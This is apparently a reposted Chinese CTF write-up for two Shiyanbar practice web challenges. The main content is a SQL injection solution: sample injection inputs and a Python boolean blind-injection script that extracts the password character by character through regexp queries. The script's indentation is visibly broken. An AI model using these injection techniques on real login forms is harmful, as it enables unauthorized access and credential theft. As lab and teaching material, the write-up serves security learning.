实验吧web-猫抓老鼠+看起来有点难

猫抓老鼠


题目地址:http://ctf5.shiyanbar.com/basic/catch/

很奇怪的一道题目,直接将响应头里Content-Row的MTUxNjY4MzYzNQ==提交就可以了

getflag


the end



看起来有点难


题目地址:http://ctf5.shiyanbar.com/basic/inject/index.php

一道SQL注入题目,简单测试一下,只有admin=admin的时候会回显“登录失败,错误的用户名和密码”,其他的admin值都会回显数据库连接失败。提交admin=admin'or '1&pass=1&action=login,看到“登录失败,错误的用户名和密码”说明空格和单引号没有被吃掉,接下来就开始注入了。

发现如果输入select会被alert弹窗提示请不要注入

一种做法是我们猜测并确认其存放密码的字段名为password(通过like或者regexp去确认:password regexp '.+'或者passwordl like '%'),然后进行布尔盲注,贴上脚本


# -*- coding:utf8 -*-

import requests

url ="http://ctf5.shiyanbar.com/basic/inject/index.php?action=login&pass=select&admin="

chars ="0123456789abcdefghijklmnopqrstuvwxyz@"

mys = requests.session()

true ='登录失败'.decode("utf8").encode("gb2312")

result =''

#idnuenna

for xin range(50):

# payload = "admin'and (length(database())=%s) or '0"%(x+1)

    for yin chars:

payload ="admin'and password regexp '^%s' or '0" % (result + y)

re = mys.get(url+payload)

if truein re.content:

result = result + y

print "true " +str(x+1) +" " + result

break

    print "end!"

print result


然后提交,getflag

还有另一种做法就是,虽然页面提示不要进行注入,但是把窗口关掉,会发现提交的SQL语句还是正常执行了

然后就慢慢爆破表名和字段名啰


the end

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容